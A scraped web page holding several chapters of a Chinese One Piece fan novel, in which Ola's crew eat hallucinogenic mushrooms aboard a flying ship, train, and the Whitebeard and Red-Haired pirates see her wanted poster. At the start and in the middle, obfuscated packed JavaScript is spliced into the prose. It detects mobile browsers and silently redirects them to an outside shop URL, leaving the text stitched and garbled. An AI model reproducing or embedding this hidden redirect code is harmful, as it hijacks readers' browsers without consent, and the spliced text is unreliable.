l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087459|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候保持头脑冷静是一个霸主要具备的优秀素质,不要过于急躁哦~” 奥拉:“......” 就在她还想在追问几句时,大门突然被推开,门缝中挤入一小片暖光。 屋内的灯也顺势被打开,骤然亮起的刺眼灯光照的奥拉措不及防,她被刺激地急忙闭眼,在睁开眼时,对上的先是米琳惊喜的面孔。 米琳已经换下了婚纱,身着米白纯色宽松长袖和棕色牛仔裤,长发干练地束在脑后,比起她之前的穿着可不知道朴素了多少倍。 “船长,你醒了!” 奥拉被米琳这声过于顺畅的船长叫的有些发懵:“米琳,叫我奥拉就可以。” 米琳颔首。 普鲁伊特跟在米琳的身后,进来时关上了门,把呼啸的风留在了门外。见奥拉已经清醒,他眼睛一亮,快速凑到奥拉身边:“呀~奥拉船长,您需不需新衣服。”他食指和大拇指相触来回蹭了蹭,“您放心,价格好说。” 奥拉这下明白米琳身上的衣服从何而来了。她先垂头看了看自己身上,原本的衣服经历了战斗和治疗完全可以用惨不忍睹来形容了。她想了想竖起一根手指:“我要一套衣服。” 普鲁伊特笑容扩大,准备再接再厉。奥拉却没给他开口的机会,接着补充:“一百贝里。” “嗯?”普鲁伊特喉咙滚了滚。 奥拉非常诚实的把自己衣服上的兜全部翻出来,凑了几张皱皱巴巴的纸币放在掌心上,看看掌心又抬眼看看普鲁伊特,什么都没说,但意思已经很明显了。 她只有这些钱,多的是真没有了。 原本她也是打算打一段时间工再买船来着。 “哈哈,有,什么价位的都有……”普鲁伊特干笑两声,怎么也没想到一个海贼会这么穷。伸手就要抽走奥拉手上的贝里。 然而他手还没收回来,奥拉的手就拽上了另一头。 奥拉视线微移,脸上浮起层薄红:“50贝里。” “要是不好意思就别讲价了啊!”普鲁伊特手上用力。 整张贝里在双方的较劲下被拽的绷直。 米琳饶有兴味的盯着:“这是什么海贼游戏吗?” 奥拉和普鲁伊特都鼓着一股劲儿:这可是关乎生计(利润)的买卖博弈啊! 米琳跟随着贝里频繁转头,一会看向奥拉青筋暴起的手臂一会又看向普鲁伊特颤抖的手指,脆弱无比的纸币居然在这两位的大力下分毫未伤,她大受震撼并且兴致勃勃:“我也可以参加吗?” 奥拉闻言立刻拼命摇头。 就在她分心之际,仅存的一百贝里还是被普鲁伊特拿走了,当着奥拉的面拉开一小截口袋,两根手指夹着贝里,他满手是汗还是装作轻松的样子:“那我就收下了,等奥拉船长一会自己去挑衣服吧。” 讲价大失败的奥拉痛失全部财产,她默了默,对着米琳语重心长。 “米琳,你要记住这一天,这是我们以后在海上漂泊必须要学会的生存技能!” 米琳被她郑重的样子感染,虽然还不明白这和生存有什么关系,还是严肃的表示:“我明白了。” 33.奶油蘑菇汤 财产风波告一段落没多久,奥拉很快发现了个大问题。 她瘫在沙发上,眼神在面前沉默的两人间流转。然后双手一撑想要站起身,可她屁股刚抬起来,双腿就开始控制不住的发软,没有几秒又跌坐回沙发上,扯到伤口痛的她冷抽了口气。 紧接着“咕~”的吵声从她的肚子里跑出来。 像是被她这声带领似的,分别来自两个人肚子里相同的“咕~”声前后跟随。 突如其来的三重奏让三人间的气氛更奇怪了。 “果然还是我来做饭吧。”普鲁伊特倒没什么不好意思的,他笑嘻嘻的声音从立领下传出,“按照外面的市价,两个人一顿饭50贝里就好。” “都是老顾客了,菜钱我就不收了,怎么样~” 其实他出价已经很公道了。 船上的物资估计只有普鲁伊特一个人的量,现在多了两个人不一定够用。在降落补充物资前,这些物资可是很宝贵的。 现在普鲁伊特能把这些拿出来让两人取用已经是很大方的表现了。 只不过,奥拉最后的财产也已经进了普鲁伊特的口袋,她就是想买也实在拿不出钱来了。 要是能赊账的话…… “让我来吧。” 出乎意料的是,米琳出声打断了奥拉的思路。 面对奥拉投来的疑惑视线,米琳垂眼做思考状:“唔...做饭应该也算是海上生存技能?”,她顿了顿片刻后勾唇扬起一个漂亮的弧度,“交给我吧...普鲁阁下,菜钱就按照你说好的。” 米琳姿态自然,彷佛再表达:对一个从未做过饭的人来说,做饭不过是个十分简单的事情。她的自信让人幻视如有实质的光圈在她身后闪闪发光,名为‘靠谱’两字的头衔围绕在她的身侧。 奥拉像是被金光闪到了眼睛,感动的眼睛里迸发出晶莹剔透的光:“那就麻烦你了,米琳!” 普鲁伊特抬头和米琳无声对峙,见米琳没有要退缩的意思,他“啧”了声,伸手指明厨房的位置。 “下厨可不是什么简单的事情,公主殿下如果需要帮助的话,我也可以免费协助哦~”,普鲁伊特超脱商人本性似的特意强调了免费一词的音节。 “那就多谢了,普鲁阁下。”米琳双手交叠,眉眼低垂,下意识的摆出了埃尔维斯国内贵族的专用礼仪,刚做到一半她身体猛然顿住,然后自然的抬起眼睛直视普鲁伊特微微欠身,带着米琳特有的从容。 稍后,她并未提出需要帮助,直接扭身进了厨房。 厨房内的用品繁杂超出了米琳的想象,普鲁伊特像是把所有东西都堆在厨房里屯着一样。米琳甚至看见了角落里不知谁的雕塑石像,石像头顶还拖着一摞碗盘。 她不急不缓的巡视一圈,在案板上小布袋子里露出的白玉蘑菇上停留。 吃什么,已经有了想法。 普鲁伊特不放心似的跟着走了两步,还没靠近厨房就被奥拉叫停。 “普鲁,我该去哪里换衣服?” 因为主要是为了方便普鲁伊特缝合伤口,米琳只是简单帮奥拉清理了下血迹。 她身上现在还是脏兮兮的,汗液和血液干涸留在皮肤上的感觉非常粘腻,还散发着股难闻的味道。这让奥拉非常嫌弃现在的自己,非常迫切的想要去把自己收拾干净点。 “啊,这个...”普鲁伊特抓了抓后脑勺,扭头看了眼厨房,鼻子动了动,在原地伫立了会儿不知道在想什么,片刻才有些不情愿的走回奥拉身旁,“我带你去吧。” “谢谢。” 奥拉在普鲁伊特的搀扶下,艰难的站起了身。走路时更是迈不开步子,只能一脚深一脚浅的缓慢移动,走几步便要停下休息,过了大半天这才走出餐厅。 不多时她额头上就沁出了汗珠。 为了缓解些身上的不适,她被普鲁伊特带着走的同时,也分神出去,转移自己的注意力,打量着这艘会飞的船。 奥拉不懂船的构造,只下意识的把它和记忆中最深刻的船进行比较。 这里的船大部分好像都是木头结构,她看着褐色的船身有些不确定....应该是木头吧。 思绪没有在这上面停留太久,很快又飘走了。她用眼神丈量起这能让她和普鲁并排站立还留有余地的走廊。 感觉它的空间似乎没有莫比迪克大——奥拉至今都记得那艘鲸鱼船宏伟的尺寸,哪怕已经过去了四年,在那艘船上生活的点滴她都还记得十分清楚,那艘船或者说从在那艘船上开始的生活对她来说有着非比寻常的意义。 莫比迪克上一张张已经淡化面孔的脸缓缓浮现。 让她思绪万千。 她已经来到大海上了...不知道再见面时,他们还是否记得她呢... 奥拉完全忽视了自己多出来的、天然就与其他海贼站在敌对位置的新人海贼身份。 反正她是不会站到白胡子海贼团对立面的。 “奥拉小姐,我们马上就要到了。” 普鲁伊特横插一句,将奥拉发散的思维拉回现实。 奥拉这才发现她们已经走出了很长一段路,她的面前一道和木头质感有些违和的铁门正从中间慢慢向两边打开。 耀眼的光争先恐后的从门缝刺出,紧接着一股风迎面袭来,轻抚过她的脸庞,吹起她落在脸庞的发丝。 她警觉的向后退了一步,在看清眼前景象时,不由得睁大了双眼。 这是一条透明的廊道,像是由一块块玻璃组成的栈道,光滑的表面上漾着浅浅的彩色。透过其身可以轻而易举的看到船外漂泊的白云和蔚蓝的天空。透明廊道上左右各开着几扇窗户,被晒得温暖的风就是从这处小道溜进了船里。 奥拉看着窗外近在咫尺的白云,手有些蠢蠢欲动。 “怎么样,壮观吧!” 普鲁伊特安静了一路,像是特地等待这个时刻。他大步跳上透明廊道,脚下踩着万丈深空,双手翅膀一样张开小跑到廊道中心,旋即转身,头上的帽子随着他的动作跃动,露出了些许紫发。 或许是商人爱推销的老毛病犯了,也或许是单纯的炫耀,他扬声:“哼哼,隆重介绍,这就是巨鹰的化身,阿盖瑞斯号!” “嗷嗷~”奥拉很给面子的附和两句,试探着朝外蹦跳着走了几步,走出船舱屋檐的阴影,站到透明廊道里。 “这里只是阿盖瑞斯号上不起眼的小观景台,它可还有很多普通船没有的功能呢!” 在普鲁伊特吹捧的语调里,奥拉边点头边扶着墙壁慢慢移动到最边上。 普鲁伊特全当她是害怕掉下去,并未在意,转身大步向前,得意忘形间似乎忘记了奥拉那形似暮年老者的走路姿态。 “走吧,奥拉小姐,以后还有机会的话,我再带你去参观一下阿盖瑞斯号的其他地方。” 奥拉吱唔应答,手快速的伸出了窗户,一下扎进了窗外的白云里,手用力一攥,空留满手湿意,其余什么都没带回来。 她有些失望的瘪了瘪嘴,在继续尝试挑战自然界生长规律和维持船长人设间艰难的选择了后者。 同样的金属铁门,在身后并拢。 她落在普鲁伊特身后,大半重量贴到墙上,看着普鲁伊特小跳着的背影幽幽道:“我能把这艘船占为己有吗。” 普鲁伊特快乐的步伐震了一下,膨胀起来的愉悦像被扎了一针的气球,立刻跑没了气。他的手从上至下轻轻挥了挥,“别开这种玩笑嘛~奥拉小姐~” 他推开一扇门,俏皮的眨动没人能看见的眼睛:“衣服在这边,保准满意哦!” 奥拉换完衣服,跟着普鲁伊特原路返回时,没有因为见到过一次而失去兴趣,反而越看越喜欢。走回廊道时更是发出了感叹。 普鲁伊特回程这一路出的汗不比行动不便的奥拉少,一种如芒在背,如鲠在喉,如坐针毡的感觉撵在他的身后,让他不敢轻易回头,主动封印了自己的嘴,把满肚子的话憋了回去。 回到餐厅时,米琳已经做好饭了。 推门而入时,一股浓郁得有些异常、飘满餐厅的香气猛地包裹住两人。 奥拉压下去的饥饿被这股霸道的香气再度勾出。 米琳已经坐在了餐桌旁,她双手放在膝盖上,并未开始用餐。见两人回来,微微笑道:“回来的正好。” 桌上,三碗奶白的浓汤飘着热气。 奥拉肚子打鼓,她拉开椅子坐下,口腔里唾液疯狂分泌,她空空吞咽了口,眼睛微亮等待开餐。 “奶油蘑菇汤?”普鲁伊特俯身围着碗边嗅了嗅,察觉到了股熟悉的味道。 “正是。”米琳并未因普鲁伊特稍显冒犯的举动生气,她语气谦卑,脸上却不见怯场:“第一次下厨,如果味道不好各位请多担待。” “请用吧。” 几乎是米琳声音刚落,奥拉便立刻拿起勺子满满舀起一勺,送入嘴中。 刚出锅的热度烫的她频频呼气,在嘴里又炒了一遍才吞下肚子。浓厚却不腻的味道刺激着味蕾,毛茸茸、软乎乎的奇特触感在舌尖上跳舞。 奥拉尚且保持着形象没有端起碗,但手上舀的速度越来越快。 见此米琳脸上弧度扩大,她歪头看向一旁还未动筷的普鲁伊特,什么都没说。 普鲁伊特忽觉一股压力,他犹犹豫豫的开动,没有拉开领子,而是直接把勺子通过脸颊与衣服间的间隙送进嘴里。 和奥拉的反应一样,在尝到味道的那一刻,他不可置信的又快速来了第二口,接着就是第三、四.....口,完全停不下来。 奶油蘑菇汤的步骤可不简单,普鲁伊特本不相信一个厨房小白能做出什么好味道,米琳可真是给了他一个惊喜。 这就是埃尔维斯样样优秀完美的第一大公主吗? 普鲁伊特啧啧称奇,热汤流向他的四肢百骸,让他感觉自己的身体似乎轻盈了不少。 饭后,奥拉心情非常曼妙。 她跑向甲板吹风,双手扒在船檐上,懒洋洋的眯起眼睛,感觉身上的伤口都不痛了。 风把太阳带到了她身边 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“哇!!!”,普鲁伊特对上她模糊的面容,顿时骇然,双手双脚撑地,像见了鬼一样的爬走,大叫:“奥、奥拉!她怎么又出来了!!” 然而,那倒蓝色的影子没有追上来,而是蹲下身,把一颗颗宝石塞进自己的体内。 那些泛着光的宝石被她吞并,让她身上的蓝色发生了变化。一会儿是红色,一会儿是紫色……色彩斑斓,闪烁刺眼,宛若一个行走巨大闪光灯。 照的普鲁伊特双眼泪流,咬牙切齿。 “住……住手!!” 她抢人宝石……可是好可怕…… 她好可怕……可是抢我宝石……! 冲动使人冲动。 “我和你拼了!”,普鲁伊特再也不要忍耐,他嗷呜一声,朝着蓝色身影猛扑过去。 餐厅内,米琳哼着歌收拾餐桌,第一次自己动手自足的感觉很奇妙,她并不讨厌,更是主动包揽了洗碗的活。 她手上动作生疏,洁白的洗洁精搓成小小的泡沫,粘在手背上,她抬起手就往脸上蹭,没成想,脸上一下多了道‘胡子’ 米琳愣了下,对着荡漾的水面波浪嘿嘿笑了两声。 还没等她把脸上清理干净,立刻感觉腰身一紧,她低头,只见一只小狸花猫爪子抓着她不放手,大颗大颗的眼泪从它的眼角掉落,大叫着喵喵语:“喵喵喵喵、喵喵喵(白、白胡子先生、船长、老...老...您,你们还记得我吗?)” “咦”米琳稀奇的揪起小猫的后脖颈,提到眼前,“是普鲁阁下养的小朋友吗?” 米琳并未觉得自己能听懂一只小猫说话有什么不对,耐着心摸摸猫头,安慰这只哭泣的小可怜。 …… …… 时间一分一秒流淌。 最先发现不对的是普鲁伊特。 他扑过去,没有抓住明目张胆抢走宝石的蓝色身影。直直穿过去,也被这影子吸收进了身体。 窒息的感觉攥住他的神经。 他晕乎乎的,还在想着他的宝石。 摸了把脸上有些发热,甩甩脑袋。 在回去找,哪还有蓝色的身影。倒是看见一个站在桌子上又哭又笑的奥拉猛地一跃。 “!” 普鲁伊特瞬间清醒了,身体下意识的前扑。他闷哼一声,稳稳接住了奥拉,没让人直接摔在地上,再让伤口裂开。 别开玩笑了,船上的药品也是限量的啊! 普鲁伊特撑起身子,将奥拉轻轻引到地板。爬起来时,正对着抱着盘子喵喵叫的米琳。 普鲁伊特:…… 他一拍脑门,终于想起他闻到的熟悉味是什么了! 普鲁伊特左右寻找,在碗底留下浅浅一层的浓汤里,挑出一小截蘑菇段送到眼前仔细辨认。 没跑了……这是他的致幻菇! 他手一松,勺子就掉到了桌子上。 “咣当”一声也是他心碎的声音。 这种菇可是很有市场的,他手里的粮也不多,不会全都吃了吧! 普鲁伊特欲哭无泪,把大叫着“马尔科”、“萨奇”、“我现在能分清头发和纸了”的奥拉拖回柔软的沙发上,把两个抱枕塞到她怀里充当‘马尔科’和“萨奇”,稳住奥拉,让她乖乖坐在沙发上,别再尝试人体坠落。 另一边,又转头去处理米琳。在她控诉的小眼神下,抓走她手中的‘狸花猫’,抢走她洗碗的有趣工作,按着她坐到椅子上休息。 忙完这一切,普鲁伊特双手交叠抵在下巴上,目光呆滞的扫过一片狼藉的餐厅,沙发上和抱枕聊的有来有回的奥拉,以及坐在对面眼神迷离试图和他讲道理“小猫没有做错……”、“我可以胜任这份工作”的米琳。 一种深深的疲惫和荒谬感由灵魂深处迸发。 不是,他就是个普通的商人,只不过偶尔卖点花哨的玩意,到底为什么要经历这些啊——! 34.芝士土豆泥肉饼 在致幻菇事件之后,普鲁伊特全面接管了厨房领地,将厨房小白米琳彻底驱逐了出去。 阿盖瑞斯号也终于进入了平静的日常......吗? 普鲁伊特对此表示反对意见。 甲板上,呼喝声与破空声交汇接连响起。普鲁伊特记不清这是第几天了,自从奥拉能自己站起来后,便在船上开启了剑术练习。 连带着米琳,也参与进了每日的锻炼中。 只不过,奥拉是练习剑术。米琳则多是体能、近身搏斗的训练,来加强娇养出来的公主身子。 有时两个人也会一起,就像今天一样。 奥拉手持刀鞘完成一套劈砍的连招,在她的对面,米琳眼神紧紧跟随她的动作,身体灵活躲避。 米琳赤手空拳,不主动进攻,一直处于被动状态。 奥拉动作大开大合,出手凌厉。好似她身上还未完全愈合的伤口对她没有任何影响一样,进攻平稳有力。 可米琳却观察到了她刀鞘挥动时瞬间的滞涩,并且利用住她的失误开始不断消耗她的体力。 事实证明,米琳的策略是正确的。 尽管奥拉尽力调整,但越发不稳的呼吸还是暴露了她的疲倦。 下一击横斩依旧被米琳轻巧躲开,奥拉也同时停下了进攻,胜利的天平似乎开始倾斜向米琳了。 然而,还没等米琳松口气,奥拉忽然变招,她双手握柄前刺。如此直白,米琳都不必特意分析走势,便能侧身躲过。但她没想到下一秒奥拉握刀的双手骤然松开,整把刀立刻失力跌落。 奥拉这可不是在认输,放手的同时她身体压低侧头,找准方向用肩膀拱向米琳的腹部,米琳还想逃,然而不知觉中她竟然已经被逼到了船舷边,只有左右两个方向可以躲。 左边为了躲开奥拉的前刺被米琳主动放弃,眼下右边成了最优路线。可米琳身体刚动,奥拉比她更快直接从前方堵住了右边。 刚一抱住米琳,奥拉即刻绕到她的身后,伸脚一蹬,落地的刀就被整个掀到了空中,旋转几圈后落到奥拉的手里,稳稳地抵住了米琳的脖颈。 胜负已分。 米琳有些诧异,视线向右落到奥拉还缠着绷带的手上,发觉对方肌肉已经开始轻微颤栗。她没有继续挣扎,利落的宣布了自己的败局。 “是我输了。” 米琳话音刚落就感觉自己身上的桎梏消失了。 当她回头时,奥拉已经跌坐在地上了。她双脚呈大字打开,后背椅在船身,止不住的喘着粗气。见米琳看来,她笑了笑:“差点就要输了,米琳你好厉害。” “承让……”米粒安心地接受了夸奖,她擦去脸颊上的汗水,蓝色的眸子注视着奥拉,她顿了顿忽然双手叉腰,仰头大笑:“哇哈哈哈哈哈哈,让我尽兴了,你也不赖。” “?” 奥拉头顶如有实质的飘出一个问号。 “怎、怎么突然……?” “怎么样,应该很有气势了吧?”米琳沉吟,像在反问又像是在自言自语。 “米、米琳……” “这样会不会更好些?”米琳沉下脸,细长的眉毛高高挑起,用一种从上至下轻蔑至极的俯瞰再度道:“你做的很好,我已经尽兴了。” 感觉和平时的米琳完全不一样! 奥拉头上的问号更多了,她挠挠脸,非常诚实且困惑地说:“米琳,你怎么了?” “无论是否深处险境,都要有惊人的魄力与气势,强大的海贼永不低头......对吧!”米琳讲的头头是道,语毕眼含期待地望向奥拉,像是等待老师给出满分试卷的三好学生。 “啊...与其说是海贼,倒不如说跟个人品质有关系...”奥拉手摸索着下巴,认真思考起来。说实话,其实她觉得米琳口中形容的跟真正的海贼没什么关系,海贼们可不是什么品德高尚的群体。 “是吗?可是书上是这么说的。” “书?” 话到这里米琳却突然收了声没有继续解释下去。 普鲁伊特就是在这时手端着餐盘从船舱里走出来的,他甫一现身,一股奇特的香味就被微风卷起横扫至了船上的每个角落,立刻引走了奥拉和米琳的注意力。 她们两个从早练到现在,早就饿的前胸贴后背了! “哇——!” 食物送到眼前,两人齐齐发出惊叹的低呼。 餐盘上,融化的芝士裹满在烤的焦黄的饼皮上,在这浓厚的奶香芝士中,红酱肉粒黏稠油亮,仅看卖相便让人食欲大开。 “这是芝士土豆泥肉酱饼——芝士可是伊坦达岛的高级货,味道非常醇厚。”说着普鲁伊特得意的竖起两根手指,“一人二十五贝里可是连成本价都不到,这一餐我要加钱...看在我们的交情上,我便宜点,一人五十怎么样?” 对此米琳开始还矜持的点头,但她时刻提醒自己要恪守自己的海贼身份,想了想,大手一挥:“喂喂喂,厨子看不起我吗?这点小钱不在话下,每个人加到一百贝里!” 跟着普鲁伊特餐盘左右摇动脑袋的奥拉听到后理智回笼,她简直不能相信,这种话居然会从自己的同伴嘴里说出来。 说好的海上生存技能呢?怎么讲价还往上讲啊! 奥拉的震惊、一言难尽、千言万语最终只化作了一声:“啊?” 普鲁伊特喜笑颜开:“得嘞!米琳大人真是这个。”他谄媚的比了一个大拇指,得到满意的价格后终于允许开餐了。 虽然对米琳的举动有不解,奥拉还是在第一时间把热喷喷的肉酱饼吃进了嘴里。 一口下去,芝士的奶香、番茄肉酱的酸甜融合的很好,软糯的土豆泥盖在焦脆的饼皮上,亦是有别样的风味。 如果奥拉有钱,让她花一百贝里买这顿饭,她肯定是愿意的。 奥拉刚吞下,又大口咬下一块,含在嘴里用牙齿细细碾碎,两颊都被食物顶的高高鼓起。 米琳刚开始倒是一如既往的保持着得体的礼仪,她先是轻咬小块,哪怕尝到了不错的味道,也没有改变进食的速度,细嚼慢咽,像是单纯的品鉴。可慢慢的,她停下了咀嚼,视线略过大口进食的奥拉,和盘腿坐着摇摇晃晃的普鲁伊特。 接着她学着奥拉的样子,张开大口咬下,霎时嘴边就沾上了食物残渣和油渍。 米琳是第一次这样‘不守规矩’,多年来的习惯让她对这种脱离原本状态的行为有些排斥,和隐隐的担忧,耳根瞬间红了一片。 只不过,她的异样伪装的很好。 奥拉的注意力也不在米琳的身上。 “普鲁!”奥拉咽下最后一口,摸了摸充实的肚子。然后她坐姿稍正,对着普鲁伊特郑重道:“加入我们吧,你就是我需要的厨师!” 米琳紧绷的身体松了松:开始了。 这已经不是奥拉第一次邀请普鲁伊特了,在第一次尝到普鲁伊特的手艺后,奥拉就表现出了副非普鲁伊特不可的样子,每每在饭后都要邀请一遍。 对此,普鲁伊特的态度很是暧昧。 他既不像面对米琳时那样坚决的划开界限,也不同意奥拉的邀请。这次也是一样,他手撑住下巴,语气随意:“让我再考虑一下吧。” “噢,我知道了。”奥拉能听出来普鲁伊特是在敷衍 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“不是米琳殿下说的吗?我的去留由船长决定,您就别操心啦。”他毫不留情的把米琳曾威胁他的话还了回去,帽子与头发遮住了这个男人的眼睛和大部分面容,让人猜不透他在想些什么。 他翘起二郎腿:“比起在意我,您这边找到答案了吗?” 回答普鲁伊特的是一阵沉默。 米琳安静地站在原地,周身被柔和地风包围,高束起的马尾被风从后送到她地眼前又极快垂落,标志性的金发永远提醒着她的身份,她的过去。 宝石般精美的蓝眸不知什么时候爬上了层阴翳,直直的似要穿透船舱看向里面正在忙碌的奥拉。 这个让她踏出鸟笼的船长,为了解决饭钱独自承担起了在船上打工还债的活。 明明只要米琳婚纱上的一颗宝石就能解决的事情,她却偏偏不要。 坚定的履行着她船长的责任。 米琳从下厨失败的那天起,真正认识到了自己原来不过是个没用的人。原来的光环只是被有意塑造出来的,又有多少是属于她,有多少属于过去的母亲呢? 她不得而知。 她的人生里似乎只有还挺像母亲这件事是一种慰藉,她又有什么资格去评判由这些内里组成的自己是否是自己真正的样子呢? 况且,她连给母亲报仇都做不到。 米琳清楚的知道,她无法对自己的养父母下手,哪怕她们是操控她人生的黑手,哪怕她的养父毁掉了她的亲母。所以她跑了,披着所谓向往自由的皮,卑劣的遮住自己的懦弱。 褪去埃尔维斯公主的光环,撕掉母亲过去的模样,这似乎才是她。 奥拉如果知道她的本性,或许一开始就不会想要拉她加入了。 讽刺的是,因为这层塑造出来的人设,奥拉选择了她。 可她却是个没用的人......只能尽快的变得有用,尽快的帮上奥拉的忙,这样的想法让她开始尝试自己塑造出一个全新的海贼形象,一个全新的米琳。 至少让真相败露前,奥拉放弃她之前,能让她留下偿还奥拉的恩情。 只是这些,米琳不会向普鲁伊特说。 “我去帮奥拉。”米琳走向船舱,路过普鲁伊特时她脚步稍顿:“还有,不要叫我殿下了。” “我以后只会是奥拉海贼团的成员。” 她的声音留在了甲板上,身影消失在门后。 普鲁伊特没什么反应,像是睡着了,让那声音略过头顶,擦过耳朵,最终消散在空气中。 35.通缉令 位于伟大航路通往新世界的前半段海域上,狂风暴雨正在大海上作乱。 “收、收帆!” 印着某个标志的船帆被十几人拉着卷起,这并没有减轻船上的摇摆,甚至大多数人只能抓住绳索或船身来稳定自己的身体。 “老板,怎么办?在这样下去就要翻船了!” 小胡子男人满头大汗,抓着船舱的大门向里面喊,因为船摇晃的幅度,脚几乎已经离开了地面,靠着手掌的抓力才没被甩出去。 屋内的老板也不好受,文件飞了满屋不说,她身边连能抓着稳定身体的东西都没有,她整个人连带着桌子被迫跟着船倾斜的程度上下左右滑行。 “我养你们到底是干什么吃的....yue!” 小胡子男人崩溃大叫:“不、不要吐啊,老板!!!” 按照现在的情况,很难说这些呕吐物究竟会跑到哪去。 “谁会...yue...少说废yue...” 老板单手捂住嘴,另一个手在空中不断比划。 可小胡子男人根本看不懂。 “海水灌进来了!” 外面不知道是谁喊了一句,老板脸色惨白,她咬咬牙:“去柜子里拿海螺啊混蛋!yue——!!” “啊啊啊啊!老板!!” 小胡子男人见机松开手指,奋力摆臂在倾斜超过至少三十度的船上疯狂奔跑,可喜可贺的是他成功的留在了原地。悲剧的是一个浪打过来,船身瞬间改了方向,他动作来不及收回来,一口气顺着斜度跑了出去。 没有被呕吐物袭击到,但是撞到了走廊尽头的墙上。 “靠不住的废物男人们!”老板脸色依旧不好,她抬起用手背擦去嘴角的唾液,四肢着地艰难的爬向歪倒的桌子。拉开桌子最边缘的抽屉,一个深蓝色的海螺正静静躺在里面。 老板拿起海螺,毫不犹豫的吹响了它。 小小的、只有手掌大的海螺,声音却几乎覆盖了整艘船乃至船外的海域,不断的向外,再向外延展。宛若鲸鱼的鸣叫,响亮而不刺耳,带着某种奇特的波动穿透海洋,直至深海中。 ??接收到了这样的声音。 扑腾一下,荡起了些许海水波纹。 同时间,伟大航路的另一片海域上丝毫没有暴雨的倾向,天气晴朗万里无云。 “呐~好看吗?”拥有双发色的小女孩原地转了一圈,裙摆像花骨朵儿一样绽放。她扬起小脸,双手背在身后,“这可是香克斯送给我的!” “可、可爱!” “天使!我看见天使了!” 船上的成员们非常捧场,有胡子拉碴的糙汉双手合十身边飞起了粉红小泡泡,还有刀疤壮汉捂嘴抽噎,更有甚者捂着心口倒地不起。 “嘻嘻~”乌塔稚嫩的脸颊上浮起层薄红,她双手攥拳高举,“来唱歌吧!” “噢!!!” 众人兴致勃勃,在甲板上跑来跑去,搬送桌子箱子,给他们的小歌唱家组建舞台。 这边热热闹闹气氛正浓烈,船的另一边,贝克曼嘴边燃着根烟,双脚搭在小桌子上笑看着她们打闹。 烟悠然飘高,他声音淡淡。 “怎么了,你不过去吗?” 在他身后,红发的海贼被叫回神,纸页哗啦翻动的声音在他手中响起,他边将报纸合上边笑道:“乌塔要唱歌了?我也要参加!贝克,今天来开宴会吧~” 说着他将手中的东西随意放到小桌上,那是海上常见的报纸和几张通缉令。 “晚上就能登录艾蕾吉亚了,别做多余的事情。” 贝克曼拒绝了香克斯的请求,并且发现对方根本没听进去后狠狠吸了口烟。偏开脸斜睨了眼桌上的报纸和通缉令:“刚送来的?” “噢...”香克斯脸上挂着抹笑容,从贝克曼身边走过,“海上可是冒出了个不得了的家伙呢。” 能让香克斯这样评价,多少也引起了些贝克曼的好奇,他随手拿起报纸,在看清上面内容后,瞳孔有一瞬的收缩。 “这可真是......” “大事件!!!” “喂,快来看这个!” 莫比迪克号上,几个海贼围在一起吵吵嚷嚷。不断招呼同伴向中间围拢,大声的讨论着什么。 白胡子本正闭眼小憩,被自己的笨蛋儿子们吵醒,他不耐的掏掏耳朵:“吵什么?” 几位坐在附近圆形阶梯上的队长也皆被吸引。 马尔科盘着单腿,一手托腮,眼睛懒懒的扫了眼没有动。原本还在他身旁的萨奇不知什么时候挤进了人堆里,此时手里正拿着什么往外挤。 见老爹和兄弟们视线聚集在他身上,萨奇呲着口大白牙,从一群被抢了报纸眼神怨念的倒霉蛋中窜出来。 左手拿着报纸,右手拎着通缉令。 “喂!快看,这是谁!” 报纸被特意放大的版面上印着张和通缉令上相同的脸。 留着黑色中短发的少女,棕色的眼眸盯着前方。她满身是血,从额头上渗出的鲜红更是遮住了她大半张脸。饶是如此,依旧能看清她脸上那被染红的、仿佛烈焰中燃烧的疤痕。 这张脸,对白胡子海贼团上不少人来说并不陌生。当时教奥拉认字可是船上不可多得的乐趣。 “奥、奥拉?” 布拉曼克认出了她,他还曾借出去根木棍给奥拉,即便只是根木棍,奥拉下船时也好好的还了回来。这让布拉曼克对她记忆犹新。 只是那个时候的奥拉瘦弱的像个小鸡崽子,通缉令上虽然只能看见上半身,但也和过去大为不同了。 “……四年前那个?她怎么出海当海贼了哈哈哈哈!” “我想起来了。”一个光头灵光乍现,他挤眉弄眼,“那个,挠痒剑法。” 这句挠痒剑法唤起了不少船上还在苦思冥想‘这谁’的海贼们。船上顿时爆发出一阵哄笑声。 被儿子们你一句,我一句提醒着,白胡子很快想起了这是谁。他其实对奥拉印象很深,把自己身体弄成那副样子还能活下来的家伙总能让人多看一眼。不过,他与那个丫头接触不多。 放下那丫头的岛这几年他们都没有机会再去过。如今她倒是成了海贼,自己走出来了。 “对!就是奥拉!”比起兄弟们和老爹表现出来的回忆往昔和兴致缺缺的态度,萨奇可以说是最兴奋的那一个了,也是最关注奥拉动向的那一个。他一屁股坐在马尔科旁边,伸手揽住马尔科的肩膀,“没想到她真的来了。” “明明刚出海,她可是干了件不得了得大事啊!……喂,马尔科,你有没有听我说!” 马尔科摊开报纸,视线在那瞩目的大标题上停留。不知是不是萨奇挤的他太热,身上竟然冒出了些汗。 他当然也还记得奥拉下船时与他们约定在大海上重逢的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122041|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只没想到这么多年过去,她还是这样。马尔科扶额——这种不管不顾的风格,可真是一点没变。 报纸上,黑色油墨清晰,字体放大,清清楚楚的标着:全海域通缉在埃尔维斯国袭击世界贵族的极恶之徒,以下犯上的恶魔化身,毁灭国家掳掠公主的奸滑恶棍,犯下众多罪行的海贼——“鬼疤”。 这么多头衔,不知道的还真以为是什么天理难容的败类呢。 马尔科看着通缉令上奥拉执拗的眼睛,他忽然想起了多年前,她也是用同样的眼神向他剖析她的信任。 他扫了眼奥拉惊人的悬赏金,蓦地勾了勾唇——这次‘重逢’来的可真是又突然又猛烈啊。 某做不知名的小岛上。 街道上一个小女孩将头埋进了报纸里。 